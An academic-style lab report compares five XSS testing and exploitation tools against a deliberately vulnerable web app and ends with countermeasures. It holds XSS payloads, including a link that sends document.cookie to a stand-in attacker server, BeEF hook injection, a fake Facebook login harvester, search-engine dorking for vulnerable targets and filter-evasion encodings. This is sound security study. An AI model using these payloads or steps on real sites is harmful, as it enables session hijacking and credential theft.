

Comparison of Automated XSS Fuzzing & Injection Tools

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Note that information contained in this document is for educational purposes.

ABSTRACT

Cross-Site Scripting (XSS) is an overtly present security flaw, which is continuously being found in numerous dynamic web applications across internet at an alarming rate. As these systems grow, manual testing and exploitation of each input field within can prove challenging, if not unfeasible.

In this paper, several different automated XSS tools will be tested, analysed and evaluated to show the advances made in the ease of testing. Several countermeasures will also be discussed.

- OWASP Xenotix XSS Exploit Framework
- Fiddler & X5S
- XXSer
- BURP
- The Browser Exploitation Framework (BeEF)

With numerous tests against a collection of different web apps, it was shown that while each package had its own methodology that gave it unique benefits, Xenotix and XSSer were inherently the most powerful due to their fuzzing capabilities. X5S provided a complex range of diagnostic information and tracked all user interactions, but lacked additional testing functions common to that of other scanners such as Burp. BeEF had a very powerful selection of exploitation tools, proving more suitable post-identification.

TABLE OF CONTENTS

Abstract
Table of Contents
1. Introduction1
1.1 Web Application Security1
1.2 Web Application Testing2
1.3 Cross-Site Scripting2
1.4 Aim
2. Procedure4
2.1 Environment4
2.2 OWASP Xenotix
2.3 Fiddler & X5S6
2.4 XSSer
2.5 Burp10
2.6 BeEF11
3. Discussion and Conclusions13
3.1 Results
3.2 Discussion
3.4 Countermeasures
3.5 Conclusion15
References16

1. INTRODUCTION

1.1 Web Application Security

With the increasing demand for interactive, intelligent, online systems that provide ease-of-use for the technically uninformed (w/ inflexible time constraints), web developers don't often consider the security of their application, or it is more of an afterthought. Smaller problems within larger applications often lead to critical failures in both security and functionality, so it is vital that problems are found as soon possible. With denial or exploitation of social networking or online banking tools, consequences can prove chaotic. A 2014 report indicated that web attacks had risen by over 1 billion from 2013, striking 38% percent of all computer users (*Kaspersky, 2014*). With this rise in online cyber terrorism, consumers grow increasingly worried about the security of any applications hosting personal information.

1.2 Web Application Testing

Source code is like a maze. Without the correct navigation, a programmer can be easily lost. A penetration tester has to intentionally exploit an application under multiple possible scenarios to map exactly how it works, thus locating any and all flaws. There are three distinct types of testing:

- Black box tests are those that evaluate the functionality of an application without looking at the source code.
- Grey box tests are those where the penetration tester has at least some knowledge of the internal application structure and where to focus efforts.
- White box tests are those that analyse the internal workings by following the source code through.

There are varying opinions on the suitability of each methodology, but each have shown effective in different working environments. A number of factors determine the appropriate method to use - the project goals, resource access permissions and time allocation should all be considered. To quickly test the application under the guise of an attacker with short term knowledge, a black box testing methodology would be most applicable. All future tests in this paper will be operated as such, for demonstration of the simplicity of most web app exploitation.

In a recent analysis of the new game streaming portal, 'YouTube Gaming', researchers were able to identify a cross-site scripting vulnerability in less than two minutes (*SecurityWeek, 2015*). After which, Google awarded a \$3,000 award bounty to the investigator. Vulnerabilities aren't simply localized to smaller low income companies without the ability to fully commit to thorough testing, advanced tech conglomerates such as Google are still susceptible. With a large amount of money currently being assigned to internal and external testers, the financial benefits to testers are currently very high, especially when leveraged against the cost of damages companies wish to avoid.

1.3 Cross-Site Scripting

XSS attacks occur when invalidated data from an untrusted source is allowed to interact with the internal components of a web application. An attacker can inject client-side script that will exploit the application / session when a user downloads and compiles the associated page.

JavaScript is the most common language, but any script that runs client side can be injected - i.e. HTML, Flash, ActionScript, and Python. A simple JavaScript test payload is as follows:

```
<script>alert('1');</script>
```

In a successful test, this script should initiate a local dialog pop-up box within the victim's browser, displaying the number '1' – while not directly malicious, this should be enough to provide proof of fault.

There are three particular sub-categories associated with this attack vector:

- Stored
 - Occur when injected script is stored permanently in the database. When a resource that would echo this entry is requested by a user, their browser interprets the stored script and any functions would execute.
- Reflected:
 - Occur when the injected script is reflected off the web server. These have to be delivered to the user via an alternate route, such as a link through an email or alternate website.
- DOM Based:
 - Occur when the injected scripts modifies a DOM environment to execute differently, so the client-side code runs in an unexpected manner.

A more advanced testing script could take the form:

<img src=java
scrip
t:ale
rt('X
SS')>

By using heavily encoded script with tags not normally associated with XSS, it is possible to thoroughly evaluate the input sanitization. From here, additional obfuscated script can be added to perform further exploitation. This includes, but is not limited to: redirection, session (cookie) theft and further automatized application interaction.

```
<a href=# onclick=\"document.location=\'http://attack-
server.com/xss.php?c=\'+escape\(document.cookie\)\;\">Follow me!</a>
```

In a persistent attack, the above code would be stored on the vulnerable application. When run, a hyperlink to an external malicious web site will be generated – containing the current application's session tokens for further session hijacking. *Figure 1* shows a typical attack scenario.

1.4 Aim

Not many tools have been crafted to test these vulnerabilities. Xenotix, X5S, XSSer, Burp and BeEF aim to automate conclusive tests of dynamic applications, to provide a tester with quantifiable knowledge of an application's insecurity.

This work aims to investigate and evaluate the usability of several separate automated XSS injection tools, comparing the benefits of each platform and noting their most suitable usage environments. Several code based solutions to this problem will also be discussed, focusing on methods that can be applied to different languages.



Figure 1 – XSS Lifecycle



Figure 2 – OWASP Logo

Figure 3 – BeEF Logo

2. PROCEDURE

2.1 Environment

For experimentation, the following systems need to be mounted:

- Attack Platforms:
 - o Kali Linux 2.0
 - o Windows 10
- Client:
 - o Windows 7 Pro
- Vulnerable Server:
 - Open Source Web App Security Project : Broken Web Apps (OWASP BWA)

Note: To prevent external damage / interference, all network adapters within any virtualized setups will have to be set as host only. (VMware was used within this analysis.)

2.2 OWASP Xenotix Framework

Download and unzip the Framework onto a Windows client:

<u>https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework</u>

Note: Microsoft .NET Framework 4 is required.

Xenotix has several tabs that support a range of functionality.

- View Source: Read the source code of any page the user visits.
- Scanner: Search & Test for XSS vulnerabilities.
- Information Gathering: Recon of target's system (IP Address, Hostname, ISP, Port Scans).
- XSS Exploitation: Perform one of the various attack vectors.
- Tools: Encoder / Decoder utilities, Detect & Calculate Hashes
- Settings: Configuration of attack server, and import custom payloads.
- XSS Buzz: Links to external information resources.

To initialize the attack server, go into the settings and set the I.P. address to that of the current machine. This will automatically generate HTML code that can be included in any web page for

activation of the malicious hook script.

To scan for vulnerabilities within a particular web page, there are several separate request fuzzers to quickly and easily test a page within three separate browser engines.

Figure 4 – GET Request Fuzzer

searches merel () starthes			browser Engines
http://192.168.76.2/dvwa/vuln	erabilities/xss_t/?name="> < script> alert[1] < /script>	⊻ Go	Trident Web
forme	Vulnerat	Home	
nstructions	The page at http://192.106./0.2 says:	Instructions	
ietup	What's you 🛕 1 Es your na	Setup	
Brute Force	OK	Brute Force	
Command Execution	10 />	Command	Execution
SRF	Nello '> OK	CSRF	
nsecure CAPTCHA	INSCIRCT CAPITONA	Insecure CA	APTCHA
ile Inclusion	File Inclusion	File Inclusion	n
QL Injection	GET Request Fuzzer		
QL Injection (Blind)	URL: http://192.168.76.2/dwwa/vulnerabilities/xss_r/?name=[X]		(Blind)
lpload	Banlans the naromaters or values with [10] In start furning. Auto Mode Tree	Interval (sec) -	
(SS reflected	Fighter in particular or factor with proj to was factory. Fight model	micrate: 7 / 4808	
ISS stored	Select Fuzzer		
	Bind Fuzzer O Intelli Fuzzer O Context Fuzzer Pause Skip Skip to	Close	

The 'GET Request Fuzzer' (*Figure 4*) can initiate an automatic Blind Test which will automatically run a series of different requests from a local library within the defined ('[X]') parameter.

DVWA	R □ Bements Network Sources Timeline Profiles Resources Audits Console 02 1 X Image: Sources Image: Sources Image: Sources Image: Sources Image: Sources Nothrettling Image: Sources Imag
Home Instructions Setup Bruke Force Command Execution CSRF Bruke Force Command Execution CSRF Sold Injection SOL Injection SOL Injection SOL Injection (Blind) Dybad XSS reflected XSS reflected XSS reflected XSS reflected DyWA Security PHP Info About Expert Expert	Name N Header Request Metal 200 m

Figure 5 – DVWA POST Header

The 'POST Request Fuzzer' has the ability to automate numerous POST requests with a whole library of default Blind payloads. Given a cookie for authentication, the URL and the correct parameters for manipulation (*Figure 5*), this tool can quickly spam the browser engines until a valid payload / entry has been found (*Figure 6*).

Figure 6 – POST Request Fuzzer

With the location of an XSS vulnerability identified, the earlier generated HTML can be manually injected. Upon visitation by a remote user, the code will request the malicious script from the attacker's server thus enabling several new attack vectors.



To send the client a message through an *alert()* box, click 'Send Message' under the 'XSS Exploitation Menu' and simply type a message and press send. Other options include the ability to steal the browser's cookies, start a key logger or initiate a Reverse HTTP web shell.

For further enumeration of the system, Xenotix provides options to identify the I.P. address, any open ports, and includes the ability to scan the target's local network. If any Web Application Firewall is operating, Xenotix can fingerprint the rules that the WAF filter in a HTTP conversation, to identify further weaknesses.

2.3 X5S / Fiddler

As X5S is a plugin for popular web debugger 'Fiddler', both of these packages need to be installed.

Fiddler:

• <u>http://www.telerik.com/download/fiddler</u>

X5S:

• <u>https://xss.codeplex.com/</u>

After installation, Fiddler should automatically add a hook to the default browser for relaying traffic. If this is not the case, it can be enabled within the respective browser.

To configure X5S, locate the tab in Fiddler.

Select the 'Enable' option, set the preamble as 'pqz' and select all four 'Auto-Injection Options' – all other choices can be left as shown in *Figure 7*.

Under the Test Case Configuration sub-tab, several different test cases can be selected. These fall under three particular Character Test Cases:

- Transformable
 - The injected character might appear in lowercase, uppercase, or other similar chars.
- Traditional
 - This will inject normal ASCII character.
- Overlong
 - This injects non-shortest UTF-8 encodings of traditional test cases. For example, ASCII '<' would be denoted as 0x3C in UTF-8.

Configuration Test Case Configuration Results

1	
🔊 Statistics 🗮 Inspectors 🚿 AutoRespor	nder 📝 Composer 📒 x5s 📃 Log 🔲 Filters
Configuration Test Case Configuration Result	5
🗹 Enable	
Preamble: pqz	
Enable Domain Name Targeting	
Domain Targeting	
Applies to: 🗸 Requests Tar	geted domains:
✓ Responses	p://192.168.76.2/
Domain:	
Add	Remove
7300	1101010
Enable Results Filtering	
-Results Filtering	
None	\$
Replacement	
Transformed	¥
Auto-Injection Options	
✓ Inject GET request parameters	✓ Inject POST request parameters
Throttle request generation	Inject "Other" parameters
Delay period (ms): 1000	
Batch size: 25	
URI Encoding Options	
Encode HTTP Body Data	Encode Query String
Encode HTTP Headers	
General Options	
Automatically check for updates on start	Check for Updates

Figure 7 – X5S Configuration

For this analysis, select all character test cases (*Figure 8*) and navigate to the final sub-tab, 'Results'.

Figure 8 – Test Case Configuration

Charac	ter Filter: All	\sim			
	Enabled		Source/Test-case	Target	^
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		\checkmark	>	>	
		\checkmark	İ	I	
		\checkmark	1	i	
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Name Sourc Targe	e: ce Code Point: et Code Point:	U+FF1C FULLWIDTH LESS-THAN SIC U+FF1C U+003C	SN .		
Desc	ription : formable Test Ca	çe'			
The so well as	ource character U s some best-fit ma	+FF1C FULLWIDTH LESS-THAN SIGN char appings will cause this one-way transform	acter will transform to the U+003C LESS-THAN SIGN in cert ation.	tain cases. For example, some Unicode normalization form	s as
Becau testing	se it's mostly ben g should be perfo	ign, this character can be useful as a quid rmed to find cross-site scripting (XSS) atta	k test to find out if an application is transforming strings in t cks.	hese ways. If a transformation is detected, then further	
For ex	cample, by attemp	oting to get the word 'script' into the HTML	using the U+FF1C FULLWIDTH LESS-THAN SIGN in place o	f the ASCII '<'.	

Within an active DVWA browser session, navigate to different web pages and insert data where applicable. Fiddler automatically relays this traffic by use of the pre-enabled hook initiated earlier. X5S should start auto injection of the test cases into any identified fields, reporting which payloads seem applicable.

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Win	Config 🤇	🔍 🍫 Replay	X - ▶ Go ♣	Stream 🎆 Decode Keep: A	Il session	ns 🔹 🕀 Any Process 🏦 Find 🔣 Save 🛛	🞼 🕐 🏉 Browse 🕞 🎪 Clear Cache 🎢 TextWiz	ard 🛛 🔚 Tearoff 🔹 MSDN Search
	Result	Protocol	Host	URL	10) Statistics 🔣 Inspectors 🖌 AutoResp	onder 🗹 Composer 📕 x5s 🗏 Log 🔲 Filters	- Timeline
17	200	HTTP	192.168.76.2	/dvwa/security.php	G	onfiguration Test Case Configuration Resu	Its	
18	200	HTTP	192.168.76.2	/dvwa/security.php		Context	Transformation	CodePoint
19	200	HTTP	192.168.76.2	/dvwa/dvwa/images/lock		0041pgz" Message:	None	22
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30	200	HTTP	192.168.76.2	/dvwa/vulnerabilities/xss_s/		0030pqzc <d< td=""><td>Unknown</td><td>22</td></d<>	Unknown	22
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32	200	HTTP	192.168.76.2	/dvwa/vulnerabilities/xss_s/		0048pgz 🕸 <	Replacement	22
33	200	HTTP	192.168.76.2	/dvwa/vulnerabilities/xss_s/			Perlagement	22
34	200	HTTP	192.168.76.2	/dvwa/vulnerabilities/xss_s/	111		Replacement	22
35	200	HTTP	192.168.76.2	/dvwa/vuinerabilities/xss_s/		004apqz 🔷 Message	Replacement	22
30	200	нттр	192.108.76.2	/dvwa/vuinerabilities/xss_s/		0044 dea la Managana	1 telesoure	
38	200	HTTP	192,168,76,2	/dvwa/vulnerabilities/vss_r/	id	d="guestbook_comments">Name: 004apqz 🗆	 Message: jjtyjrtjty <div id="guestbook_c</td><td>comments">Name: hrtjhtyjtg </div>	
39	200	HTTP	192, 168, 76, 2	/dvwa/vulnerabilities/xss_r/	M	/lessage: jjtyjrtjty <div id="guestboo</td><td>ok_comments">Name: 0044pqz' Message: jjtyjrtjty <</div>	br /> <div< td=""></div<>	
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41	200	HTTP	192, 168, 76, 2	/dvwa/vulnerabilities/xss		2011		
42	200	HTTP	192.168.76.2	/dvwa/vulnerabilities/xss		<h2>More info</h2>		
43	200	HTTP	192, 168, 76, 2	/dvwa/vulnerabilities/xss		aub		
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http://www.coisecurity.com/xss-fag.htmls/a></td><td>r.com/?nttp://www.cgisecurity.com/xss-taq.ntmi" target="<br">/li⊳</ii>	DIANKT>	
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52	200	HTTP	Tunnel to	satebrowsing.google.com				
53	200	HIIP	l unnel to	sateprowsing-cache.googl		15		
						<td></td> <td></td>		

Figure 9 – X5S Results against DVWA

Upon interaction with one of the test contexts, as shown in *Figure 9*, Fiddler will redirect the user to a detailed request information pane, displaying: the location of the interaction, type of request (GET / POST), parameters sent and session tokens. With further manual injection, these vulnerabilities can be conclusively identified.

2.4 XSSer

XSSer should be readily available with most distributions of Kali Linux.

The source is available from the following URL:

• <u>http://xsser.03c8.net/</u>

If not enabled, or installation is required on a different Linux distribution, the files can be downloaded through the above link and installed into a suitable location with the following code:

- python setup.py install
 - Further execution will have to be carried out with the pre-fix 'python' (e.g. python xsser.py).

Typical execution to validate a GET link can be executed as follows:

• xsser -u <u>http://192.168.76.105</u>" -g "dvwa/vulnerabilities/xss_r/?name=" -cookie=PHPSESSID=<cookie> -v --reverse-check --referer=666.666.666.666

The '-u' switch specifies the base URL of the target, where '-g' (GET) or '-p' (POST) will represent the website sub-directory and parameter to inject. To import multiple URLs, the '-i' switch can be used to select an external plaintext list (e.g. -i "targets.txt").

As this example examined DVWA, an authentication (PHPSESSID) session cookie to bypass the login screen was required (e.g. cookie=PHPSESSID=3Dvmcsjsdown6gsogpu7o2utr6f3).

The '-v' switch specified a verbose scan, providing output as shown in *Figure 10*, and the '-- reverse-check' switch displayed proof of injection, by sending a script that would supply output back to the system localhost.

Through the terminal, the command 'xsser --gtk' will open a GUI interface to allow easier selection of attack dimensions – with an included wizard. For this experimentation, the command line was more than suitable. Figure 10 - XSSer Injection

It is possible to spoof several values in the HTTP header to avoid detection. As the user agent is already spoofed to Googlebot/2.1, this can be left alone.

The HTTP referer header is that which specifies the originating webpage address (URL or IRI) that linked to the current page. To spoof this, the switch '--referrer=' allows the user to specify an alternate URL. In the above example the value '666.666.666.666' was used.



Other configuration options include the ability to navigate through a proxy (e.g. tor: <u>http://localhost:8118</u>), set timeout, retries or concurrent thread usage and even add in extra customized HTTP headers for unique systems.

Without explicit identification of the web resource to test, it can often prove difficult for other applications to locate vulnerabilities. XSSer provides the ability to 'Dork' or 'Crawl' targets.

Dorking grants the ability to crawl through a specified search engine's directory for any links leading to vulnerabilities:

• xsser -- De "duck" -d "action.php?"

In this example, XSSer is using the '*DuckDuckGo*' search engine to locate potentially weak resources running the script 'action.php'. The '?' symbol specifies that the script to search for should accept further parameters.

Much like a typical web spider, granting XSSer permission to crawl through every visible web directory under the specified URL should provide easy results with no intrusions:

• xsser -c3 --Cw=4 -u "http://192.168.76.101"

In any of the above attacks, it might be necessary to obfuscate the payloads to circumvent the input sanitization. Several options are available:

STR	String.FromCharCode() - convert Unicode values into characters.
UNE	Unescape() - decode the encoded string.
MIX	Combine the above two methods.
DEC	Decimal encoding.
HEX	Hexadecimal encoding.
HES	Hexadecimal encoding, with semicolons.
DWO	Encode vectors IP addresses in DWORD.
DOO	Encode vectors IP addresses in Octal.
CEM	Use varying Character Encoding Mutations (User Specified).

METHOD DESCRIPTION

Note: At time of writing, XSSer was in beta v1.6b ("The Mosquito: Grey Swarm"). Several bugs were found during testing in relation to the GUI elements, but command line execution proved more than capable. Deprecation of unescape() function with JavaScript version 1.5 release should also be noted.

2.5 Burp |

Locate and launch Burp from the shortcut on the Kali desktop.

All local browser traffic needs to be relayed to Burp, so set the proxy to 127.0.0.1 listening on port 8080 (*Figure 11*) in the 'Ice Weasel' settings.

In the GUI; disable the interceptor under the proxy tab, navigate to the appropriate page in the vulnerable web app and re-enable the interceptor.

Initiate a manual request to commit the traffic to Burp. For example, in DVWA, submit the form on the 'XSS reflected' page and Burp should automatically open with the request.

Right click in the 'Raw' text field, and select 'Send to Intruder'. Navigate to the sub-tab 'Positions' under the Intruder tab and identify the injection parameter as in *Figure 12*.

		Ic	ceweasel Pro	eferences			+ _ = ×
G	현실업 프로 eneral Tabs	Content	Applications	Privacy	Security	Sync Sync	Ö Advanced
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Configure Proxies No proxy Auto-detect pro: Use system pro: Manual proxy co	to Access the xy settings for th xy settings onfiguration:	Internet his net <u>w</u> ork			lisk space		<u>C</u> lear Now
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	Use this pro:	xy server fo	r all protocols		ie use		E <u>x</u> ceptions
SS <u>L</u> Proxy:			Port:	8080 *	ffline use		
ETP Proxy:			Po <u>r</u> t:	8080 🔺			
SO <u>C</u> KS Host:			Por <u>t</u> :	8080			
No Proxy for:	○ SOC <u>K</u> S v4 (SOCKS ⊻	5 🗌 Remote	DNS			Bemove
							Close
Example: .mozi	illa.org, .net.nz, / configuration U authentication i	192.168.1.0 IRL: f password	is saved	Reload			
Help			Cancel	ок)		

Figure 11 – Browser Proxy Settings





To identify the exact payloads for injection into this parameter, switch to the next tab: 'Payloads'.

A useful selection of payloads can be found from the open source FuzzDB project repository on GitHub. Copy the plaintext from the following link:

• <u>https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xss/xss-rsnake.fuzz.txt</u>

Paste the contents into 'Payload Options [Simple List]' or load the text file directly (Figure 13).

All other options can be left default. Under the 'Options' tab, the user has the ability to Grep (Extract) the results of the attack to further identify useful information (i.e. extract expressions or from regex groups).

Burp Intruder Repeater Window Help	te Free Edition v1.6.01 $^{\circ}$ -	
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder 4	Comparer Extender Options Alerts	
Target Positions Payload set: 1 • Payload court: 76 Payload type: Simple list • Payload court: 76	Attack Save Columns Results Target Positions Payloads Options	o ×
Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payloads. Paste <scriptself(xss),<scripts "II_II=<ssss=6(1);< td=""> Load <scriptsrc=http: ha.demsorg="" sssj<br=""><img src="ipvasorptatief(XSS);</td"/> Remove <mg src="ipvasorptatief(XSS);</td"> IMG SRC=ipvasorptatief(XSS); IMG SRC=ipvasorpta</mg></scriptsrc=http:></ssss=6(1);<></scriptself(xss),<scripts 	Filter: Showing all &ems Request: Payload Status Error Timeo Length Comment 0 200 4986 baseline request 0 2012 1 <script=alert(xss)-< td=""> 200 0 5012 2 ''::[-*XSS0=-e6(1)] 200 0 5000 3 <script src="Htstp/ha.c.</td"></script></script=alert(xss)-<>	

Figure 13 - Burp Suite Payload Selection and Attack Initiation

To initiate the attack, under the Intruder menu, select Start Attack. In the free version, Burp will throttle the connection speed slightly, but depending on the number of identified payloads, this shouldn't take overly long.

In the new attack window (*Figure 13*), each launched payload will be listed in order of execution. To effectively interpret these results for hits and misses, note the baseline request time of each payload and analyse the how much the subsequent request times vary from it. Large variances in the length of the baseline could describe possible script effectiveness – further manual testing should be used for confirmation.

2.6 BeEF

To initialize BeEF, enter the following commands in a Kali terminal:

- cd ../usr/share/beef-xss
- ./beef

With BeEF initialized, the user is presented with four separate URLs. Two links for access to the UI panel (local & remote), and two links to the malicious 'hook' script.

For a successful attack, the presented JavaScript hook will needed to be included in the HTML mark-up of a web page. This can be done via a custom web server, a compromised web server, injected traffic via MitM or one of several social engineering techniques (i.e. phone call, email, social media, etc.).

To start a local web server, enter the following command:

• service apache2 start (OR /etc/init.d/apache2 start)

All web files can be accessed under the directory: /var/www/.

By default, apache has a default ('index.html') web page. Before the closing *</body>* tag, include the following line of code:

• <script src="http://192.168.1.101/hook.js" type="text/javascript"></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></sc

On the Windows 7 client, request access to the page hosted by Kali through Firefox. This will show the benign 'Apache2 Debian Default Page', but with analysis of the network connection debugger in the browser developer tools, the malicious script should have been requested.



Figure 14 - BeEF UI Panel

In the BeEF UI panel, under the 'online browsers' tree, a new target should have been detected (*Figure 14*). With the victim now running the malicious script, BeEF should have the option to perform one of many unique functions to further exploit the victim. Each module has an icon representing one of the following colours:

- Green: Works against the target. (Invisible to user)
- Orange: Works against the target. (Visible to user)
- Grey: Must be verified against the target.
- Red: Does not work against the target.

In *Figure 15*, the Petty Theft (Social Engineering) command has been launched against the victim, using a Facebook credential harvester. The exploited web page on the victim will now show a dialog box, where the user could enter login details.

Additional noteworthy functionality includes: fingerprinting, metasploit interfacing, remote web camera access, browser redirection, tor detection, and much more.

	It works!	
This is the default welcome page of installation on Debian systems. If at this site is working properly. Yo before continuing to operate your	used to test the correct operation of the Ap you can read this page, it means that the A u should replace this file (located at /var) HTTP server.	ache2 server after pache HTTP server instale /www/html/index.html)
If you are a normal user of this w that the site is currently unavailat site's administrator.	Facebook Session Timed Out	please contact the
Debian's Apsche2 default configu several files optimized for interac in /usr/share/doc/apache2/F Documentation for the web serv package was installed on this ser The configuration layout for an A	Please re-enter your username and passion of to login. Emails I Password: Log m	figuration, and solt int n is fully documented cumentation. If the spaces2-doc ms is as follows:
/sto/apache2/ 1 apache2.conf 1 ports.conf 1 *.load 1 *.load 1 *.conf 1 conf-scabled 1 sites-scabled 1 sites-scabled		

Figure 15 – Malicious Web Page

3. DISCUSSION AND CONCLUSIONS

3.1 Results

The tools discussed in this paper had very different functionalities:

- 1. Xenotix:
 - An easy to implement solution for both detection and exploitation of XSS vulnerabilities, providing powerful fuzzing tools with assessment of three separate browser engines. Contains the largest built-in payload database in comparison to several other tools (*Figure 16*).
- 2. X5S
 - While effective, X5S was a very small application providing functionality easily accessible in larger web scanners. However, the diagnostic information in relation to the web debugger was very convenient for identification of vulnerability location.
- 3. XXSer
 - Extremely powerful tool. With a combination of singular input testing with directory crawling and multiple target selection, this tool offers heavy competition for the other scanners.
- 4. Burp Suite
 - Hailed as the most powerful web scanner on the market due to the multitude of integrated features, Burp was easily customized and provided simple capture of traffic. Although quite restrictive due to the limited functionality in the free version, it still proved effective.
- 5. BeEF
 - Easily the most powerful automated XSS tool. While not suited towards detection of vulnerabilities, the collection of tools provided for a pre-mapped system were immensely potent.

All five of the tools fit into at least one of the following categories: XSS Fuzzing, XSS Exploitation, and Web Scanning. Ideally, when analysing an unknown environment (typically encountered in black box testing), a tool combining several of these abilities would demonstrate most suitable – such as Xenotix or Burp Suite.



Figure 16 – XSS Payload Comparison (Abraham, 2013)

Each tool showed considerable ease in usability. Xenotix and Fiddler had the most aesthetically pleasing GUI systems, but XSSer had the most simplistic terminal usage.

The vulnerable web applications studied in this paper for conclusive tool evaluation indicated that real world attacks against similar sites would prove extremely effective. The majority of noted experimentation targeted the 'Damn Vulnerable Web App' (DVWA) set on a 'Medium' security level – to closely imitate real world conditions. Each and every tool described above was able to either detect or exploit the application in some way, with variable ease.

3.2 Discussion

Cross-Site Scripting vulnerabilities are being discovered daily. With the availability of highly educational online resources and effective testing tools, there is no excuse for web developers to neglect the security of their web application. Susceptible applications can risk client exposure in numerous ways; from information or cookie theft, to malicious file download and even access to local GPS / Camera data. Due to the nature of such attacks, all liability is generally placed on the programmer.

Experimentation of the above tools showed a large aim towards detecting and exploiting Stored and Reflective XSS vulnerabilities. DOM Based vectors were unfortunately not tested in these procedures due to the lack in software capability. With future research and testing, manual exploits could be written to demonstrate the unique capabilities of these vulnerabilities, with a look into either modifying the current tool selection or evaluating others. Additional work might involve the creation of a tool to not only automate the testing of one dynamic input field, but simultaneously identify and test every other discernible field in the application without explicit identification. Python's built-in 'urllib2' module provides a large number of HTTP/1.1 capabilities, providing the ability to add headers, form data, multipart files, and parameters with simple Python dictionaries, and easily access the response data. Inclusion of the 'FuzzDB' payloads and a library of pre-defined possible resource locations would allow the scripted identification of positions that might accept parameters with poor sanitization, or even hidden input fields.

3.3 Countermeasures

With constantly changing environments and languages, it is hard to permanently defend against XSS. However, modern methodologies can prove very effective if implemented correctly. The primary mitigation technique involves the encoding of user content (escaping of string input). As HTML contains both text and mark-up, it would be necessary to substitute all non-alphanumeric characters with their HTML entity equivalents or escape the content at run-time.

Any data that interacts with the application must be sanitized, the following are some of the main input types:

- URL
- Document / HTTP Referrer Objects
- GET / POST Parameters
- Header Data
- Cookie Data

The PHP function *htmlspecialchars()* can be used to encode all HTML tags and special characters within any user input.

```
$input = htmlspecialchars($input, ENT_QUOTES);
Original: <script>alert("hacked");</script>
Encoded: &lt;script&gt;alert(&quot;hacked&quot;);&lt;/script&gt;
```

Many libraries are available to automatically detect the encodings of data that must be filtered, providing secure easy implementation of mass detection. A popular PHP library can be found here: <u>https://code.google.com/p/php-antixss/</u>.

Another mitigation technique, involves the modification of a user's cookie to bind that session to the current I.P. address of the participating system. Therefore, any data leakage allowing remote enumeration of their session would be rendered harmless. Additional methods coded server side would compare the cookie's bound I.P. address to that of any active client, destroying the session or alerting the user in the event of misuse.

3.4 Conclusion

It is fairly easy to manually test for XSS vulnerabilities. It is not as easy to test the input sanitization. With a large amount of different encoding (mitigation) schemes, some payloads will easily fail where others succeed. That's why it is important to fully and efficiently test an applications sanitization and locate all inputs to effectively assess all back-end interactions. Xenotix, X5S, XSSer and Burp proved invaluable for these tasks, as the fuzzing capabilities were quick and thorough. However, for further exploitation, with a large amount of readymade scripts for ease of implementation, BeEF demonstrated invariably more powerful – allowing exploitation of clients in seconds.

The dangers to online web applications are numerous and ferocious. XSS is third in OWASP's Top 10 online threat list, and with the current trend in web development practices, it is sure to increase in ranks over the course of the next few years. With the results of this investigation, it is hoped that by highlighting these dangers, developers will be alerted to the importance of application security.







Figure 18 – Burp Suite Logo

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